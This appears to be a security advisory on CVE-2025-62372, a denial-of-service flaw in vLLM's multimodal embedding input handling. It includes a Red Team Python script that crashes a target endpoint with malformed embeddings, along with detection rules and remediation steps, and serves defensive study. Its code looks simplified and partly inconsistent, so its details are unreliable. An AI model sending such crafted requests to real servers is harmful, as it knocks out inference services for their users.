CVE-2025-62372

Executive Summary

CVE-2025-62372 is a denial-of-service (DoS) vulnerability in the vLLM inference and serving engine for large language models (LLMs). The flaw affects multimodal models from version 0.5.5 to before 0.11.1. An attacker can crash the vLLM engine by sending multimodal embedding inputs with the correct number of dimensions (ndim) but an incorrect shape (e.g., wrong hidden dimension). This can be triggered regardless of whether the model is intended to support such inputs. The vulnerability has been patched in version 0.11.1.

Supply Chain & Package Security

This vulnerability affects the vLLM Python package, which is distributed via PyPI. Users should ensure they are using version 0.11.1 or later to mitigate the risk. The package is widely used in AI/ML pipelines, and a crash can disrupt inference services.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is rated High due to the low attack complexity and the potential for a complete denial of service without authentication.

Deep Dive & Mechanics

The vulnerability lies in the multimodal input processing pipeline of vLLM. When a multimodal model receives an embedding input, it expects the input to have a specific shape (e.g., [batch_size, sequence_length, hidden_dim]). The code checks that the number of dimensions (ndim) is correct but fails to validate the actual dimensions (shape). An attacker can craft an input with the correct ndim but an incorrect shape, such as a mismatched hidden dimension. This causes an internal tensor operation to fail, leading to a crash of the vLLM engine.

The crash is triggered during the forward pass of the model, specifically when the input tensor is reshaped or used in matrix multiplication. The lack of shape validation allows the attacker to cause an unhandled exception, resulting in a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (v0.5.5 to v0.11.0):

def process_multimodal_input(input_tensor):
    # Only checks ndim, not shape
    if input_tensor.ndim != 3:
        raise ValueError("Input must have 3 dimensions")
    # No shape validation
    return model.forward(input_tensor)

Patched Code (v0.11.1):

def process_multimodal_input(input_tensor):
    if input_tensor.ndim != 3:
        raise ValueError("Input must have 3 dimensions")
    # Validate shape
    expected_shape = (batch_size, sequence_length, hidden_dim)
    if input_tensor.shape != expected_shape:
        raise ValueError(f"Input shape {input_tensor.shape} does not match expected shape {expected_shape}")
    return model.forward(input_tensor)

The patch adds explicit shape validation to ensure the input tensor matches the expected dimensions for the model.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker sends a crafted HTTP request to the vLLM inference endpoint with a multimodal embedding input that has the correct number of dimensions but an incorrect shape.

Example Exploit (Python):

import requests
import numpy as np

# Target vLLM endpoint
url = "http://target:8000/v1/chat/completions"

# Craft input with correct ndim (3) but wrong shape (e.g., hidden_dim = 1 instead of 768)
malicious_input = np.random.randn(1, 10, 1).tolist()

payload = {
    "model": "llava-hf/llava-1.5-7b-hf",
    "messages": [
        {"role": "user", "content": [
            {"type": "text", "text": "Describe this image."},
            {"type": "image_url", "image_url": {"url": "data:image/png;base64,..."}}
        ]}
    ],
    "multimodal_embeddings": malicious_input
}

response = requests.post(url, json=payload)
print(response.status_code)

This will cause the vLLM engine to crash, resulting in a denial of service.

Blue Team

To detect exploitation attempts, monitor for:

• HTTP requests with unusual multimodal_embeddings parameters.
• Error logs indicating tensor shape mismatches.
• Sudden crashes of the vLLM process.

Detection Steps:

1. Enable detailed logging for vLLM.
2. Monitor for repeated requests with malformed multimodal inputs.
3. Implement rate limiting on inference endpoints.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /v1/chat/completions with multimodal_embeddings parameter containing arrays of unexpected dimensions.
• Logs: Error messages like RuntimeError: The size of tensor a (1) must match the size of tensor b (768) at non-singleton dimension 2.
• System: vLLM process crashes with segmentation fault or out-of-memory errors.

Detection Engineering

YARA Rule

rule CVE_2025_62372_vllm_crash {
    meta:
        description = "Detects malicious multimodal embedding inputs targeting vLLM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62372"
    strings:
        $json_key = "multimodal_embeddings"
        $error_msg = "The size of tensor a"
    condition:
        $json_key and $error_msg
}

Sigma Rule

title: CVE-2025-62372 vLLM Multimodal Embedding Crash
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to crash vLLM by sending malformed multimodal embeddings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: vllm
detection:
    selection:
        EventID: 1000
        Message|contains: "The size of tensor a"
    condition: selection
falsepositives:
    - Legitimate model testing with unusual inputs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62372 vLLM Multimodal Embedding Crash Attempt"; flow:to_server; content:"multimodal_embeddings"; http_client_body; pcre:"/\[[^\]]*\[[^\]]*\[[^\]]*\]/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade vLLM to version 0.11.1 or later.
2. Workaround: If upgrade is not possible, implement input validation at the reverse proxy level to reject multimodal embedding inputs with unexpected shapes.
3. Monitoring: Enable detailed logging and monitor for crash events.
4. Network: Restrict access to vLLM inference endpoints to trusted IPs only.

Valters IT